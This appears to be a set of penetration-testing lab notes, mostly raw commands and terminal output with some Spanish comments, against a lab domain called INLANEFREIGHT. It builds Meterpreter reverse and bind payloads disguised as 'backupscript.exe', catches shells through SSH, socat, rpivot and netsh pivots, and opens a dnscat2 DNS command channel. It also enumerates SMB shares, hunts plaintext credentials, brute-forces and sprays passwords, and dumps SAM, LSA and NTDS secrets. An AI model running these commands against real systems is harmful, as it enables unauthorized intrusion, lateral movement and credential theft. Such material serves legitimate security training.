gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InternalIPofPivotHost> -f exe -o backupscript.exe LPORT=8080
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 712 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8000
lport => 8000
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:8000
gzzcoo@nobody[/tmp]$ scp backupscript.exe ubuntu@<ipAddressofTarget>:~/
backupscript.exe 100% 7168 65.4KB/s 00:00
ubuntu@Webserver$ python3 -m http.server 8123
Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"
gzzcoo@nobody[/tmp]$ ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:8000 ubuntu@<ipAddressofTarget> -vN
ebug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.19 port 61355
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=5
debug1: channel 1: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: free: 172.16.5.19, nchannels 2
debug1: channel 1: connected to 0.0.0.0 port 8000
debug1: channel 1: free: 172.16.5.19, nchannels 1
debug1: client_input_channel_open: ctype forwarded-tcpip rchan 2 win 2097152 max 32768
debug1: client_request_forwarded_tcpip: listen 172.16.5.129 port 8080, originator 172.16.5.19 port 61356
debug1: connect_next: host 0.0.0.0 ([0.0.0.0]:8000) in progress, fd=4
debug1: channel 0: new [172.16.5.19]
debug1: confirm forwarded-tcpip
debug1: channel 0: connected to 0.0.0.0 port 8000
[*] Started HTTPS reverse handler on https://0.0.0.0:8000
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:8000 handling request from 127.0.0.1; (UUID: x2hakcz9) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (127.0.0.1:8000 -> 127.0.0.1 ) at 2022-03-02 10:48:10 -0500
meterpreter > shell
Process 3236 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\>
gzzcoo@nobody[/tmp]$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.18 -f elf -o backupjob LPORT=8080
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of elf file: 250 bytes
Saved as: backupjob
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 8080
lport => 8080
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8080
ubuntu@WebServer:~$ ls
backupjob
ubuntu@WebServer:~$ chmod +x backupjob
ubuntu@WebServer:~$ ./backupjob
[*] Sending stage (3020772 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:8080 -> 10.129.202.64:39826 ) at 2022-03-03 12:27:43 -0500
meterpreter > pwd
/home/ubuntu
meterpreter > run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23
[*] Performing ping sweep for IP range 172.16.5.0/23
for i in {1..254} ;do (ping -c 1 172.16.5.$i | grep "bytes from" &) ;done
for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 | find "Reply"
1..254 | % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(server/socks_proxy) > set SRVPORT 9050
SRVPORT => 9050
msf6 auxiliary(server/socks_proxy) > set SRVHOST 0.0.0.0
SRVHOST => 0.0.0.0
msf6 auxiliary(server/socks_proxy) > set version 4a
version => 4a
msf6 auxiliary(server/socks_proxy) > run
[*] Auxiliary module running as background job 0.
[*] Starting the SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > options
Module options (auxiliary/server/socks_proxy):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The address to listen on
SRVPORT 9050 yes The port to listen on
VERSION 4a yes The SOCKS version to use (Accepted: 4a,
5)
Auxiliary action:
Name Description
---- -----------
Proxy Run a SOCKS proxy server
msf6 auxiliary(server/socks_proxy) > jobs
Jobs
====
Id Name Payload Payload opts
-- ---- ------- ------------
0 Auxiliary: server/socks_proxy
socks4 127.0.0.1 9050
msf6 > use post/multi/manage/autoroute
msf6 post(multi/manage/autoroute) > set SESSION 1
SESSION => 1
msf6 post(multi/manage/autoroute) > set SUBNET 172.16.5.0
SUBNET => 172.16.5.0
msf6 post(multi/manage/autoroute) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session platform: linux
[*] Running module against 10.129.202.64
[*] Searching for subnets to autoroute.
[+] Route added to subnet 10.129.0.0/255.255.0.0 from host's routing table.
[+] Route added to subnet 172.16.5.0/255.255.254.0 from host's routing table.
[*] Post module execution completed
meterpreter > run autoroute -s 172.16.5.0/23
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 172.16.5.0/255.255.254.0...
[+] Added route to 172.16.5.0/255.255.254.0 via 10.129.202.64
[*] Use the -p option to list all active routes
meterpreter > run autoroute -p
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Active Routing Table
====================
Subnet Netmask Gateway
------ ------- -------
10.129.0.0 255.255.0.0 Session 1
172.16.4.0 255.255.254.0 Session 1
172.16.5.0 255.255.254.0 Session 1
gzzcoo@nobody[/tmp]$ proxychains nmap 172.16.5.19 -p3389 -sT -v -Pn
ProxyChains-3.1 (http://proxychains.sf.net)
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-03 13:40 EST
Initiating Parallel DNS resolution of 1 host. at 13:40
Completed Parallel DNS resolution of 1 host. at 13:40, 0.12s elapsed
Initiating Connect Scan at 13:40
Scanning 172.16.5.19 [1 port]
|S-chain|-<>-127.0.0.1:9050-<><>-172.16.5.19 :3389-<><>-OK
Discovered open port 3389/tcp on 172.16.5.19
Completed Connect Scan at 13:40, 0.12s elapsed (1 total ports)
Nmap scan report for 172.16.5.19
Host is up (0.12s latency).
PORT STATE SERVICE
3389/tcp open ms-wbt-server
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.45 seconds
meterpreter > help portfwd
Usage: portfwd [-h] [add | delete | list | flush] [args]
OPTIONS:
-h Help banner.
-i <opt> Index of the port forward entry to interact with (see the "list" command).
-l <opt> Forward: local port to listen on. Reverse: local port to connect to.
-L <opt> Forward: local host to listen on (optional). Reverse: local host to connect to.
-p <opt> Forward: remote port to connect to. Reverse: remote port to listen on.
-r <opt> Forward: remote host to connect to.
-R Indicates a reverse port forward.
meterpreter > portfwd add -l 3300 -p 3389 -r 172.16.5.19
[*] Local TCP relay created: :3300 <-> 172.16.5.19:3389
gzzcoo@nobody[/tmp]$ xfreerdp /v:localhost:3300 /u:victor /p:pass@123
gzzcoo@nobody[/tmp]$ netstat -antp
tcp 0 0 127.0.0.1:54652 127.0.0.1:3300 ESTABLISHED 4075/xfreerdp
meterpreter > portfwd add -R -l 8081 -p 1234 -L 10.10.14.18
[*] Local TCP relay created: 10.10.14.18:8081 <-> :1234
meterpreter > bg
[*] Backgrounding session 1...
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LPORT 8081
LPORT => 8081
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 0.0.0.0:8081
gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=1234
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
[*] Started reverse TCP handler on 0.0.0.0:8081
[*] Sending stage (200262 bytes) to 10.10.14.18
[*] Meterpreter session 2 opened (10.10.14.18:8081 -> 10.10.14.18:40173 ) at 2022-03-04 15:26:14 -0500
meterpreter > shell
Process 2336 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\>
ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80
gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 743 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe
sudo msfconsole -q
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://0.0.0.0:80
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1 ) at 2022-03-07 11:08:10 -0500
meterpreter > getuid
Server username: INLANEFREIGHT\victor
gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 499 bytes
Final size of exe file: 7168 bytes
Saved as: backupjob.exe
ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 10.129.202.64:8080
[*] Sending stage (200262 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:46253 -> 10.129.202.64:8080 ) at 2022-03-07 12:44:44 -0500
meterpreter > getuid
Server username: INLANEFREIGHT\victor
plink -ssh -D 9050 ubuntu@10.129.15.50
sudo apt-get install sshuttle -y
gzzcoo@nobody[/tmp]$ sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v
Starting sshuttle proxy (version 1.1.0).
c : Starting firewall manager with command: ['/usr/bin/python3', '/usr/local/lib/python3.9/dist-packages/sshuttle/__main__.py', '-v', '--method', 'auto', '--firewall']
fw: Starting firewall with Python version 3.9.2
fw: ready method name nat.
c : IPv6 enabled: Using default IPv6 listen address ::1
c : Method: nat
c : IPv4: on
c : IPv6: on
c : UDP : off (not available with nat method)
c : DNS : off (available)
c : User: off (available)
c : Subnets to forward through remote host (type, IP, cidr mask width, startPort, endPort):
c : (<AddressFamily.AF_INET: 2>, '172.16.5.0', 32, 0, 0)
c : Subnets to exclude from forwarding:
c : (<AddressFamily.AF_INET: 2>, '127.0.0.1', 32, 0, 0)
c : (<AddressFamily.AF_INET6: 10>, '::1', 128, 0, 0)
c : TCP redirector listening on ('::1', 12300, 0, 0).
c : TCP redirector listening on ('127.0.0.1', 12300).
c : Starting client with Python version 3.9.2
c : Connecting to server...
ubuntu@10.129.202.64's password:
s: Running server on remote host with /usr/bin/python3 (version 3.8.10)
s: latency control setting = True
s: auto-nets:False
c : Connected to server.
fw: setting up.
fw: ip6tables -w -t nat -N sshuttle-12300
fw: ip6tables -w -t nat -F sshuttle-12300
fw: ip6tables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: ip6tables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN --dest ::1/128 -p tcp
fw: iptables -w -t nat -N sshuttle-12300
fw: iptables -w -t nat -F sshuttle-12300
fw: iptables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 172.16.5.0/32 -p tcp --to-ports 12300
gzzcoo@nobody[/tmp]$ nmap -v -sV -p3389 172.16.5.19 -A -Pn
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-08 11:16 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 11:16
Completed Parallel DNS resolution of 1 host. at 11:16, 0.15s elapsed
Initiating Connect Scan at 11:16
Scanning 172.16.5.19 [1 port]
Completed Connect Scan at 11:16, 2.00s elapsed (1 total ports)
Initiating Service scan at 11:16
NSE: Script scanning 172.16.5.19.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Nmap scan report for 172.16.5.19
Host is up.
PORT STATE SERVICE VERSION
3389/tcp open ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
| Target_Name: INLANEFREIGHT
| NetBIOS_Domain_Name: INLANEFREIGHT
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: inlanefreight.local
| DNS_Computer_Name: DC01.inlanefreight.local
| Product_Version: 10.0.17763
|_ System_Time: 2022-08-14T02:58:25+00:00
|_ssl-date: 2022-08-14T02:58:25+00:00; +7s from scanner time.
| ssl-cert: Subject: commonName=DC01.inlanefreight.local
| Issuer: commonName=DC01.inlanefreight.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-13T02:51:48
| Not valid after: 2023-02-12T02:51:48
| MD5: 58a1 27de 5f06 fea6 0e18 9a02 f0de 982b
|_SHA-1: f490 dc7d 3387 9962 745a 9ef8 8c15 d20e 477f 88cb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6s, deviation: 0s, median: 6s
NSE: Script Post-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.07 seconds
git clone https://github.com/klsecservices/rpivot.git
sudo apt-get install python2.7
curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7
gzzcoo@nobody[/tmp]$ python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0
gzzcoo@nobody[/tmp]$ scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/
ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip 10.10.14.18 --server-port 9999
New connection from host 10.129.202.64, source port 35226
proxychains firefox-esr 172.16.5.135:80
python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>
C:\Windows\system32> netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25
C:\Windows\system32> netsh.exe interface portproxy show v4tov4
Listen on ipv4: Connect to ipv4:
Address Port Address Port
--------------- ---------- --------------- ----------
10.129.42.198 8080 172.16.5.25 3389
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install
gzzcoo@nobody[/tmp]$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache
New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.
auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...
Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):
./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local
To talk directly to the server without a domain name, run:
./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21
Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.
git clone https://github.com/lukebaggett/dnscat2-powershell.git
Import-Module .\dnscat2.ps1
PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd
New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
dnscat2>
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!
That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!
To go back, type ctrl-z.
Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
exec (OFFICEMANAGER) 1>
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
enum4linux -a target_ip
# Enumeración de recursos compartidos y permisos sobre ellos (Usuario del dominio)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d domain.htb
# Enumeración de recursos compartidos y permisos sobre ellos (Usuario local)
smbmap -H 10.10.10.10 --no-banner -u 'user' -p 'password' -d WORKGROUP
# Enumeración de recursos compartidos con autenticación de Kerberos
smbmap -H 10.10.10.10 --no-banner -u 'user' -k --no-pass -d domain.htb -dc-ip 10.10.10.10
smbclient //10.10.10.10/Recurso -U 'user%password'
# Autenticación básica para comprobar credenciales válidas con autenticación NTLM.
nxc smb 10.10.10.10 -u 'user' -p 'password'
# Autenticación para comprobar credenciales válidas con autenticación Kerberos.
nxc smb dc.domain.htb -u 'user' -p 'password' -k
# Autenticación para comprobar ticket (.ccache) de Kerberos es válido
nxc smb dc.domain.htb --use-kcache
# Autenticación realizando PassTheHash para verificar si el hash NT es válido.
nxc smb 10.10.10.10 -u 'user' -H '<NTLM_HASH>'
smbclient -L 10.10.10.10 -N 2>/dev/null
smbmap -H 10.10.10.10 --no-banner -u 'guest' -p ''
nxc smb 10.10.10 -u 'guest' -p ''
nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}
# Enumerar recursos compartidos del SMB que disponemos de permisos.
nxc smb 10.10.10.10 -u 'user' -p 'password' --shares
# Crear un JSON de la estructura de los recursos del SMB para ver dónde hay archivos interesantes.
nxc smb 10.10.10.10 -u 'user' -p 'password' -M spider_plus
# Enumeración completa desde SMB.
nxc smb 10.10.10.10 -u 'user' -p 'password' --groups --local-groups --loggedon-users --rid-brute --sessions --users --shares --pass-pol
nxc smb 10.10.10.10 -u 'user' -p 'password' --loggedon-users
nxc smb 10.10.10.10 -u 'user' -p 'password' --sessions
nxc smb 10.10.10.10 -u 'user' -p 'password' --share 'SHARE' --get-file 'FILE_TARGET' 'OUTPUT_FILE'
nxc smb 10.10.10.10 -u 'user' -p 'password' --sam
nxc smb 10.10.10.10 -u 'user' -p 'password' --lsa
nxc smb 10.10.10.10 -u 'user' -p 'password' --ntds vss
enum4linux -a 10.10.10.10
# Obtener usuarios del dominio a través de RID Cycling Attack si el IPC$ está habilitado
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute
# Obtener solamente el listado de usuarios al realizar RID Cycling Attack
nxc smb 10.10.10.10 -u 'user' -p 'password' --rid-brute | grep SidTypeUser | rev | awk '{print $2}' | rev | awk '{print $2}' FS='\\'
# Enumerar usuarios desde el RID 1000 hasta el 1500, se puede ajustar por el rango deseado. No se necesitan credenciales.
for i in $(seq 1000 1500); do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name"; done | awk '{print $NF}'
# Enumeración de usuarios con el usuario 'guest' a través de lookupsid
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass
# Mismo comando anterior, pero solo quedándonos con los nombres de usuarios.
impacket-lookupsid dominio.htb/guest@10.10.10.10 -no-pass | grep SidTypeUser | awk '{print $2}' | awk '{print $2}' FS='\\'i
C:\htb> dir \\192.168.220.129\Finance\
Volume in drive \\192.168.220.129\Finance has no label.
Volume Serial Number is ABCD-EFAA
Directory of \\192.168.220.129\Finance
02/23/2022 11:35 AM <DIR> Contracts
0 File(s) 4,096 bytes
1 Dir(s) 15,207,469,056 bytes free
C:\htb> net use n: \\192.168.220.129\Finance
The command completed successfully.
C:\htb> net use n: \\192.168.220.129\Finance /user:plaintext Password123
The command completed successfully.
C:\htb> dir n: /a-d /s /b | find /c ":\"
29302
dir
Application
n:
Directory or drive to search
/a-d
/a
is the attribute and -d
means not directories
/s
Displays files in a specified directory and all subdirectories
/b
Uses bare format (no heading information or summary)
C:\htb>dir n:\*cred* /s /b
n:\Contracts\private\credentials.txt
C:\htb>dir n:\*secret* /s /b
n:\Contracts\private\secret.txt
c:\htb>findstr /s /i cred n:\*.*
n:\Contracts\private\secret.txt:file with all credentials
n:\Contracts\private\credentials.txt:admin:SecureCredentials!
PS C:\htb> Get-ChildItem \\192.168.220.129\Finance\
Directory: \\192.168.220.129\Finance
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 2/23/2022 3:27 PM Contracts
PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem"
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
N FileSystem \\192.168.220.129\Finance
PS C:\htb> $username = 'plaintext'
PS C:\htb> $password = 'Password123'
PS C:\htb> $secpassword = ConvertTo-SecureString $password -AsPlainText -Force
PS C:\htb> $cred = New-Object System.Management.Automation.PSCredential $username, $secpassword
PS C:\htb> New-PSDrive -Name "N" -Root "\\192.168.220.129\Finance" -PSProvider "FileSystem" -Credential $cred
Name Used (GB) Free (GB) Provider Root CurrentLocation
---- --------- --------- -------- ---- ---------------
N FileSystem \\192.168.220.129\Finance
PS C:\htb> N:
PS N:\> (Get-ChildItem -File -Recurse | Measure-Object).Count
29302
PS C:\htb> Get-ChildItem -Recurse -Path N:\ -Include *cred* -File
Directory: N:\Contracts\private
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/23/2022 4:36 PM 25 credentials.txt
PS C:\htb> Get-ChildItem -Recurse -Path N:\ | Select-String "cred" -List
N:\Contracts\private\secret.txt:1:file with all credentials
N:\Contracts\private\credentials.txt:1:admin:SecureCredentials!
gzzcoo@htb[/htb]$ sudo mkdir /mnt/Finance
gzzcoo@htb[/htb]$ sudo mount -t cifs -o username=plaintext,password=Password123,domain=. //192.168.220.129/Finance /mnt/Finance
gzzcoo@htb[/htb]$ mount -t cifs //192.168.220.129/Finance /mnt/Finance -o credentials=/path/credentialfile
username=plaintext
password=Password123
domain=.
sudo apt install cifs-utils
gzzcoo@htb[/htb]$ find /mnt/Finance/ -name *cred*
/mnt/Finance/Contracts/private/credentials.txt
gzzcoo@htb[/htb]$ grep -rn /mnt/Finance/ -ie cred
/mnt/Finance/Contracts/private/credentials.txt:1:admin:SecureCredentials!
/mnt/Finance/Contracts/private/secret.txt:1:file with all credentials
gzzcoo@htb[/htb]$ hydra -L user.list -P password.list smb://10.129.42.197
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-06 19:37:31
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] max 1 task per 1 server, overall 1 task, 25 login tries (l:5236/p:4987234), ~25 tries per task
[DATA] attacking smb://10.129.42.197:445/
[445][smb] host: 10.129.42.197 login: user password: password
1 of 1 target successfully completed, 1 valid passwords found
# Password Spraying sobre un usuario para probar un listado de contraseñas.
nxc smb 10.10.10.10 -u 'user' -p passwords.txt --continue-on-success
# Password Spraying con una contraseña sobre un listado de usuarios.
nxc smb 10.10.10.10 -u users.txt -p 'Password01!' --continue-on-success
# Password Spraying sin BruteForce, probar 1 línea de users con 1 línea de passwords, succesivamente.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --no-bruteforce
# Ataque de fuerza bruta con un listado de usuarios y contraseñas.
nxc smb 10.10.10.10 -u users.txt -p passwords.txt --continue-on-success
gzzcoo@htb[/htb]$ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_login
msf6 auxiliary(scanner/smb/smb_login) > options
Module options (auxiliary/scanner/smb/smb_login):
Name Current Setting Required Description
---- --------------- -------- -----------
ABORT_ON_LOCKOUT false yes Abort the run when an account lockout is detected
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
DETECT_ANY_AUTH false no Enable detection of systems accepting any authentication
DETECT_ANY_DOMAIN false no Detect if domain is required for the specified user
PASS_FILE no File containing passwords, one per line
PRESERVE_DOMAINS true no Respect a username that contains a domain name.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RECORD_GUEST false no Record guest-privileged random logins to the database
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host
THREADS 1 yes The number of concurrent threads (max one per host)
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
msf6 auxiliary(scanner/smb/smb_login) > set user_file user.list
user_file => user.list
msf6 auxiliary(scanner/smb/smb_login) > set pass_file password.list
pass_file => password.list
msf6 auxiliary(scanner/smb/smb_login) > set rhosts 10.129.42.197
rhosts => 10.129.42.197
msf6 auxiliary(scanner/smb/smb_login) > run
[+] 10.129.42.197:445 - 10.129.42.197:445 - Success: '.\user:password'
[*] 10.129.42.197:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
gzzcoo@htb[/htb]$ impacket-psexec -h
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
usage: psexec.py [-h] [-c pathname] [-path PATH] [-file FILE] [-ts] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-keytab KEYTAB] [-dc-ip ip address]
